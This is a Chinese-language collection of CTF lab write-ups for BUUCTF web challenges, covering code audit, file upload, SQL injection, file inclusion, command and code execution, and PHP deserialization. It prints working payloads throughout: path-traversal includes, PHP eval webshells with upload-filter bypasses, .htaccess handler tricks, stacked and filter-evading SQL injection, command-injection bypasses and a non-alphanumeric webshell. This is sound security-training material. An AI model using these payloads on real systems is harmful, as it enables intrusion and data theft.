代码审计

[HCTF 2018]WarmUp:初步代码审计;文件包含;

F12 查看源码提示有 source.php ,访问获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
class emmm
{
public static function checkFile(&$page)

{
//白名单列表
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
if (! isset($page) || !is_string($page)) {
echo "you can't see it A";
return false;
}
//检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($page, $whitelist)) {
return true;
}
//过滤问号的函数(如果$page的值有?则从?之前提取字符串)
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
);

//第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($_page, $whitelist)) {
return true;
}
//url对$page解码
$_page = urldecode($page);

//第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

hint.php 提示在 ffffllllaaaagggg
文件包含将 flag 包含进来,最后触发是 include $_REQUEST['file'];
三层过滤:

  1. 第一层判断:是否 file 传入是否为空、是否是 string 类型
  2. 第一层过滤:file 传入原值是否在白名单中
  3. 第二层过滤:取 file 第一个 ? 前的值,判断是否在白名单中,例如:$file=hint.php?id=0 ,则取 hint.php
  4. 第三次过滤:对 file 进行 url 解码后,取第一个 ? 前的值,判断是否在白名单中

最后 payload ?file=hint.php?/../../../../../ffffllllaaaagggg
include 的时候将 hint.php?/ 当作是文件目录,然后一直返回上层到根目录

[BJDCTF2020]Mark loves cat:代码审计;变量覆盖;

除了页面最底部有个 dog ,没有任何思路和提示,那就开始 dirsearch 扫目录。找到有 git 源码泄露,Githacker 将源码拖下来:

1
githacker --url http://6515a110-1a7a-4c40-b134-c1f29f33adf5.node4.buuoj.cn:81 --folder result --threads 1

githack 也能实现 git 泄露源码,之前用的好好的,现在这题 php 文件死活拖不出来就换了。
关键部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y; //修改任意变量为任意值
}

foreach($_GET as $x => $y){
$$x = $$y; //修改任意变量为另外一个变量的值
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;

两种方法修改变量:get、post

1
2
3
4
5
6
7
8
9
10
11
foreach($_POST as $x => $y){
$$x = $y; //修改任意变量为任意值
//input:$x="yds";$y='$flag';
//result:$yds = $flag
}

foreach($_GET as $x => $y){
$$x = $$y; //修改任意变量为另外一个变量的值
//input:$x="yds";$y='flag';
//result:$yds = $flag
}

GET 方法:index.php?yds=flag

补充知识

foreach 题目列表或者键值对 example 。如果是列表返回 $key 是下标,字典返回是键名。

1
2
3
4
5
<?php
$a = array(1,2,3,4,5,6,7);
foreach ($a as $key => $value){
echo "Current value of \$key:$key \$value:$value.\n";
}

[HCTF 2018]admin

index 源码提示:<!-- you are not admin -->

注册 admin 提示用户已存在,注册 test 用户登录

change 源码发现题源码:<!-- https://github.com/woadsl1234/hctf_flask/ -->

发现 index.html 模板需要 session[‘name’]==’admin’ 就输出 flag

image-20220121172458094

EXP-0

弱口令 admin/123

EXP-1

客户端 session 伪造。flask 使用本地 session 存放在 cookie 保存在本地浏览器。在源码中找到了 SECRET_KEY ,注册一个账号之后,修改 session 加密后替换原来的。

image-20220121173028603

image-20220121173230969

EXP-2、3

其他师傅复现 wp 还有 unicode 绕过和条件竞争两种方法。这里的 unicode 绕过没有看太懂是 strlower() 里面调用的 nodeprep.prepare 版本存在 uniocde 漏洞还是怎么,两次调用 strlower 变化过程:

1
ᴬᴰᴹᴵᴺ -> ADMIN -> admin

文件上传

[ACTF2020 新生赛]Upload:文件上传;phtml绕过;

扫目录没有什么东西
前台 main.js checkFile() 对文件后缀进行白名单过滤,main.js F12 sources 可以找到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传jpg、png、gif结尾的图片噢!";
alert(errMsg);
return false;
}
}

就一句话木马改成 png 后缀进行抓包绕过前端过滤:
image.png
修改后缀为 php ,返回 Bad file ,证明后端还有过滤。这里需要用到新的知识点:phtml 和 php 都可以被服务器当作 php 代码执行

什么是phtml,什么时候应该使用.phtml扩展名而不是.php?

将后缀改成 phtml ,蚁剑连上 getshell

[极客大挑战 2019]Upload:GIF89a图片头欺骗;script标签绕过;

文件上传没有其他东西。php 后缀文件被过滤,上传 phtml 返回 Not image! 。上传 png、gif、jpeg 也是一样提示就很奇怪。尝试GIF89a图片头文件欺骗

1
2
3
GIF89a
<?php
@eval($_POST['skye']);

上传成功,提示文件存在 <?
image.png
用 html script 标签绕过 <? 限制成功上传 hack.phtml
image.png
蚁剑连上:/uploads/hack.phtml

题目源码

按道理正常的 png、gif、jpeg 能上传,但是为什么报错 Not image!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<!DOCTYPE html>
<html lang="zh">

<style>
.error {
font-family:Microsoft YaHei;
font-family:arial;
color:red;
font-size:40px;
text-align:center;
}
</style>

<head>
<meta charset="UTF-8">
<title>check</title>
<link rel="stylesheet" type="text/css" href="css/reset.css">
<link rel="stylesheet" href="css/demo.css" />
<link rel="stylesheet" href="dist/styles/Vidage.css" />
</head>

<body>
<div class="Vidage">
<div class="Vidage__image"></div>
<video id="VidageVideo" class="Vidage__video" preload="metadata" loop autoplay muted>
<source src="videos/bg.webm" type="video/webm">
<source src="videos/bg.mp4" type="video/mp4">
</video>
<div class="Vidage__backdrop"></div>
</div>

<script src="dist/scripts/Vidage.min.js"></script>
<script>
new Vidage('#VidageVideo');
</script>
</br></br></br></br></br></br></br></br></br></br></br></br></br></br></br>
<div class="error">
<strong>
<?php
$file = $_FILES["file"];

// 允许上传的图片后缀
$allowedExts = array("php","php2","php3","php4","php5","pht","phtm");
$temp = explode(".", $file["name"]);
$extension = strtolower(end($temp)); // 获取文件后缀名
$image_type = @exif_imagetype($file["tmp_name"]); //通过文件头判断图像的类型
// 检查Content-Type的值是否为图片类型
if ((($file["type"] == "image/gif")
|| ($file["type"] == "image/jpeg")
|| ($file["type"] == "image/jpg")
|| ($file["type"] == "image/pjpeg")
|| ($file["type"] == "image/x-png")
|| ($file["type"] == "image/png"))
&&$file["size"] < 20480) // 小于 20 kb
{
if ($file["error"] > 0){

echo "ERROR!!!";
}
elseif (in_array($extension, $allowedExts)) {
echo "NOT!".$extension."!";
}
elseif (mb_strpos(file_get_contents($file["tmp_name"]), "<?") !== FALSE) {
echo "NO! HACKER! your file included '&#x3C;&#x3F;'";
}
elseif (!$image_type) {
echo "Don't lie to me, it's not image at all!!!";
}
else{
$fileName='./upload/'.$file['name'];
move_uploaded_file($file['tmp_name'],$fileName);
echo "上传文件名: " . $file["name"] . "<br>";
}
}
else
{
echo "Not image!";
}
?>
</strong>
</div>


<div style="position: absolute;bottom: 0;width: 95%;"><p align="center" style="font:italic 15px Georgia,serif;"> Syclover @ cl4y</p></div>
</body>
</html>

[MRCTF2020]你传你🐎呢:.htaccess改变文件拓展名;

上传图片后缀文件成功,php、phtml 被过滤了:
image.png
这个上次的一句话蚁剑是连不上的。
**正确姿势应该是通过 ****.htaccess** 改变文件拓展名

.htaccess 详解

启用 .htaccess ,需要修改 httpd.conf ,启用 AllowOverride ,并可以用 AllowOverride 限制特定命令的使用。
.htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess 文件,可以帮我们实现:网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
改变文件扩展名几种配置方法:

1
AddType application/x-httpd-php .jpg //jpg解析为php
1
SetHandler application/x-httpd-php  //任意后缀均被解析为php
1
2
3
4
<FilesMatch "1.png"> 
SetHandler application/x-httpd-php
</FilesMatch>
//文件1.png被解析为php

改变 .htaccess 配置后造成文件解析漏洞,将其他后缀文件解析成 php 文件,即将文件内容当作 php 代码执行
修改 Content-Type 绕过后端检查:
image.png
现在 jpeg 已经被当作 php 执行,上传 jpeg 一句话,蚁剑链接 webshell
image.png

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
session_start();
echo "
<meta charset=\"utf-8\">";
if(!isset($_SESSION['user'])){
$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];

// 匹配文件后缀有没有 ph
if(preg_match("/ph/i", strtolower($uploaded_ext))){
die("我扌your problem?");
}
else{
// 文件后缀白名单、文件大小限制
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")|| ($_FILES["uploaded"]["type"] == "image/png")) && ($_FILES["uploaded"]["size"] < 2048)){
$content = file_get_contents($uploaded_tmp);
mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";
}
else{
die("我扌your problem?");
}
}
}
?>

[GXYCTF2019]BabyUpload:.htaccess改变文件拓展名;script 标签绕过;

上传 1.php 提示文件后缀不能包含 ph ;Content-Type 不是图片也会被过滤;
文件内容不能包含 <?
image.png
服务器是 PHP5.x 用 script 绕过 <? 过滤
文件后缀不能包含 ph 尝试修改 .htaccess 将其他文件解析成 php 文件。返回数据包 Server: openresty 是基于 Nginx ,Nginx 默认不支持 .htaccess ,但也可以修改配置后支持 .htaccess 。这部分思路参考:[MRCTF2020]你传你🐎呢:.htaccess改变文件拓展名
上传 .htaccess :
image.png
上传 1.jpeg 一句话木马:
image.png
蚁剑链接就好了。getshell 没找到服务器的 Nginx 配置文件(准备看看怎么支持 .htaccess ,但是没找到。找到了一堆 apache 的东西奇奇怪怪)

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];

if(preg_match("/ph/i", strtolower($uploaded_ext))){
die("后缀名不能有ph!");
}
else{
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
$content = file_get_contents($uploaded_tmp);
if(preg_match("/\<\?/i", $content)){
die("诶,别蒙我啊,这标志明显还是php啊");
}
else{
mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";
}
}
else{
die("上传类型也太露骨了吧!");
}
}
}
?>

SQL注入

[极客大挑战 2019]BabySQL

单引号测试报错:

1
?username=admin'&password=1

image-20220119003158383

判断是联合注入,闭合符号是单引号。万能密码登录报错

image-20220119003624087

or 被替换为空,双写绕过 oorr1= 视乎也被替换为空

image-20220119144101183

直接 oorr 1 就能登录

image-20220119144236515

然后就是联合注入:

1
?username=admin%27+uniunionon+selselectect+1%2C2%2C3+%23&password=2
1
?username=-1%27+uniunionon+selselectect+1%2C2%2Cdatabase%28%29+%23&password=2

from 和 infoorrmation_schema 存在过滤字符串需要双写绕过

1
?username=-1%27+uniunionon+selselectect+1%2C2%2Cgroup_concat%28schema_name%29+frfromom+infoorrmation_schema.schemata%23&password=2

where 需要双写

1
?username=-1%27+uniunionon+selselectect+1%2C2%2Cgroup_concat%28table_name%29+frfromom+infoorrmation_schema.tables+whewherere+table_schema%3D%27ctf%27%23&password=2

and 需要双写

1
?username=-1%27+uniunionon+selselectect+1%2C2%2Cgroup_concat%28column_name%29+frfromom+infoorrmation_schema.columns+whewherere+table_schema%3D%27ctf%27+anandd+table_name%3D%27Flag%27%23&password=2
1
?username=-1%27+uniunionon+selselectect+1%2C2%2Cgroup_concat%28flag%29frfromom+%28ctf.Flag%29%23&password=2

[极客大挑战 2019]EasySQL:万能密码

账号密码都是一样的,输入'会有错误回显
image.png
这里是因为程序使用 sql 语句用'闭合,类似于:

1
select * from table where id='admin'

用万能密码登录:

1
select * from table where id='admin' or '1'='1'

最终 payload :

第一个和最后一个是程序自带的,其他是我们注入进去的

1
check.php?username=skye231' or '1'='1&password=a' or '1'='1
1
check.php?username=skye231&password=a' or 1=1#

[强网杯 2019]随便注 - 堆叠查询

判断出'是闭合符,万能密码可以查出当前表全部内容
堆叠注入可以使用:
?inject=1';show databases;#
image.png
查询表名发现其他的表:
?inject=0';show tables;#
image.png
查询表结构判断出 flag 在里面

1
?inject=0';desc `1919810931114514`#

image.png
words 表就是正常查询的表,根据表里面内容判断出 sql 查询语句

1
selsect id,data from words where id =

image.png

方法1:重命名表和字段

  1. 将 words 改成任意名字(words1)
  2. 把 1919810931114514 表名改成 words
  3. 把 1919810931114514 列名 flag 改成 id
  4. 万能密码查询出 flag
    1
    0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#
    image.png

    修改后 words 表(1919810931114514)结构

image.png
最后万能密码 ?inject=1'or '1'='1

方法2:预处理语句

利用 char() 函数将 select 的 ASCII 码转换为 select 字符串,接着利用 concat() 函数进行拼接得到 select 查询语句,从而绕过过滤。或者直接用 concat() 函数拼接 select 来绕过。

payload1 不使用变量
1
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
payload2 使用变量
1
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
payload3 只是用contact(),不使用char()
1
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

[SUCTF 2019]EasySQL:堆叠注入;pipes_as_concat;

进行一下尝试:
image.png
3 变成了 1
image.png
堆叠注入可以image.png
flag 被过滤不能使用。这题要对 sql 语句猜测,输入一长串数字尝试:
image.png
前 10 个数字对应查询语句猜测是 select 1 ,就是测试注入点(回显点位)的语句

最后一个数字无论是什么都是 1 ,看师傅 wp 才知道 sql 语句:

1
sql="select".post['query']."||flag from Flag";

上图对应实际查询语句:select 1,2,3,4||flag from Flag|| 在 mysql 默认是或运算,所以最后一个值查询结果非 0 即 1 。

EXP1

这个没什么好解释的,

1
2
*,1
// select *,1||flag from FLAG

EXP2

|| 在 mysql 默认是或运算符,在 oracle 缺省支持通过 || 来实现字符串拼接。mysql 将 mode 设置为 pipes_as_concat 来实现。

1
2
1;set sql_mode=PIPES_AS_CONCAT;select 1
//select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from FLAG

设置完的相当于是用 concat 进行拼接:SELECT 1,CONCAT(1,flag) FROM FLAG
concat 将查询结果进行拼接,本地环境测试:SELECT CONCAT(3,last_name) FROM users 每个结果都加上了 3

image.png

image.png

[极客大挑战 2019]LoveSQL:联合注入

万能密码登录成功 /check.php?username=admin'+or+1%3D1%23&password=1

image-20211216113455310

Md5 解密失败,尝试联合注入。从前面的万能密码得知注入类型是字符型,闭合符号是单引号。

3 个字段:/check.php?username=admin'+order+by+3%23&password=1

显示位置注入:/check.php?username=-1'+union+select+1%2C2%2C3%23&password=1

image-20211216142419228

查询数据库名:/check.php?username=-1'+union+select+1%2C2%2Cdatabase()%23&password=1

查询表名:/check.php?username=-1'+union+select+1%2C2%2Cgroup_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase()%23&password=1

查字段:/check.php?username=-1'+union+select+1%2C2%2Cgroup_concat(column_name)+from+information_schema.columns+where+table_schema%3Ddatabase()+and+table_name%3D'l0ve1ysq1'%23&password=1

查数据:/check.php?username=-1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

文件包含

[ACTF2020 新生赛]Include:php://filter读源码;

点进去 Tips 之后,观察 url 有点问题 ?file=flag.php ,怀疑是文件包含漏洞。
伪协议 php://filter 读取 flag.php 源码

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

file:// 协议读取会把文件内容执行么,php文件捏?

[极客大挑战 2019]Secret File:php://filter读源码;抓包防重定向;

F12 查看到隐藏的路径
image.png
进去里面还有一个
image.png
然后提示结束了
image.png
burp抓包查看到有重定向,获取中间内容
image.png
访问获取到源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>

include 一看就是文件包含,过滤了一些字符串,直接 php://filter 读取即可

命令执行

[ACTF2020 新生赛]Exec

image.png
image.png

[GXYCTF2019]Ping Ping Ping

试了一下存在命令拼接:?ip=1.1.1.1;ls

尝试获取源码 ?ip=1.1.1.1;cat index.php ,几次尝试后判断是过滤了空格和花括号,翻一下百度绕过一下:?ip=1.1.1.1;cat$IFS$09index.php 。获取源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>

过滤关键字 flag ,翻一下百度绕过一下:

  • base64 编码绕过:

    1
    ?ip=1.1.1.1;echo$IFS$09Y2F0IGZsYWcucGhw|base64$IFS$09-d|sh
  • 内联执行绕过:

    1
    ?ip=1.1.1.1;cat$IFS$09`ls`
  • 拼接绕过:

    1
    ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b.php

EasyBypass

两个可以命令注入的地方,comm1 过滤少了双引号和逗号。

image-20211230012644632

1
?comm1=index.php";whoami;"

输出函数 tac 没有被过滤,flag 文件名被过滤:

  • 双引号绕过

    1
    ?comm1=index.php";tac /fl""ag;"
  • 通配符绕过

    1
    ?comm1=index.php";tac /fla?;"

代码执行

[极客大挑战 2019]Knife

image-20211230163937104

[SUCTF 2018]GetShell

文件上传过滤部分代码,上传文件从第五个字开始与黑名单比较,如果匹配则文件上传失败,成功的话会将文件后缀改成 .php

1
2
3
4
5
6
7
8
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}

测试之后发现(数字、英文)字符都被过滤,需要构造无字符 webshell ,知识点来源 P 神文章。通过异或构造 webshell :

1
<?=system($_POST['system']);
  1. 使用 <?= 代替 <?php ,因为后者的第六个字符必须要是空格,空格是在黑名单里面会被过滤

  2. eval 是 php 的语法构造,system 是函数。函数允许动态调用,语法构造不行

    具体查看:https://blog.twofei.com/565/

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    // 为什么这段代码可以运行
    // 正常输出:howdy~
    $foo = "system";
    $bar = "echo howdy~";
    $foo($bar);

    // 而这段代码却不能运行
    // PHP错误是:``PHP Fatal error: Call to undefined function eval() in - on line ?``
    $foo = "eval";
    $bar = "echo howdy~";
    $foo($bar);

EXP

构造出来的 exp

1
2
3
4
5
<?=
$__=[];$____=$__==$__;#1
$_=~(北)[$____];$_.=~(熙)[$____];$_.=~(北)[$____];$_.=~(拾)[$____];$_.=~(的)[$____];$_.=~(和)[$____];#system
$___=~(样)[$____];$___.=~(说)[$____];$___.=~(小)[$____];$___.=~(次)[$____];$___.=~(站)[$____];$____=~(瞰)[$____];#_POST
$_($$___[$_]);#system($_POST[system]);

由于空格和换行都被过滤,所以全部代码写一行

1
<?=$__=[];$____=$__==$__;$_=~(北)[$____];$_.=~(熙)[$____];$_.=~(北)[$____];$_.=~(拾)[$____];$_.=~(的)[$____];$_.=~(和)[$____];$___=~(样)[$____];$___.=~(说)[$____];$___.=~(小)[$____];$___.=~(次)[$____];$___.=~(站)[$____];$____=~(瞰)[$____];$_($$___[$_]);

flag 在环境变量中,env 查看就行

[GXYCTF2019]禁止套娃

Dirmap 扫一下出来 .git 泄露,githack 提取源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

第一层过滤几个 php 的伪协议:

1
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))

第二层匹配有参数的函数调用替换为空,如 back_door(_POST[“cmd”)) :

1
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
  • (?R) 引用当前表达式,后面加了?递归调用
  • [a-z,_]+ 匹配一个或多个英文字符串或者下划线

第三层过滤一些函数:

1
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))

EXP

1
2
3
?exp=readfile(next(array_reverse(scandir(current(localeconv())))));
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
  1. current(localeconv()) 永远都是个点
  2. next() 函数讲内部指针指向数组中的下一个元素,并输出
  3. array_reverse() 函数以相反的元素顺序返回数组

img

通过 session_start() 告诉 PHP 使用 session , php 默认是不主动使用 session 的。 session_id() 可以获取到当前的 session id 。因此我们手动设置名为 PHPSESSID 的 cookie ,并设置值为 flag.php

反序列化

[极客大挑战 2019]PHP

dirmap 扫出备份文件得到源码,index.php 存在反序列化:

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

序列化操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

几个魔术方法:

  • __construct:在实例化时自动调用
  • __destruct:在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用
  • __wakeup:若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup() 成员函数(如果存在的话)
  • __sleep():当序列化对象时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()

这里需要将 username 和 password 覆盖成 admin 和 100 ,这里通过序列化完成。

__wakeup 绕过:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行

1
2
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//"Name":2 表示属性个数

EXP

序列化生成,url编码输出结果

1
2
3
4
5
6
7
8
9
<?php
class Name{
private $username = "admin";
private $password = "100";
}

$a = new Name();
echo urlencode(serialize($a));
// O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

提交请求:

1
?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

Basic

[极客大挑战 2019]Havefun:传参

1
2
3
4
5
6
7
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->

[极客大挑战 2019]Http

F12 查看到 Secret.php ,然后依据提示依次设置 Referer、User-Agent、X-Forwarded-For

image-20211231000331676

[ACTF2020 新生赛]BackupFile

dirmap 扫源码泄露,buu 环境有限制扫描速度,修改 dirmap.conf request_limit 改小就好了。

1
?index.php.bak

== 弱类型比较:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?hp
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

payload:?key=123

[极客大挑战 2019]BuyFlag

image-20220119172945395

F12 得到 hint :

1
2
3
4
5
6
7
8
9
//~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
  • Password 用弱类型比较绕过
  • money 科学计数法绕过
  • 还有个提示需要学生才能买,脑洞联想改 cookie user 等于 1

image-20220119173314373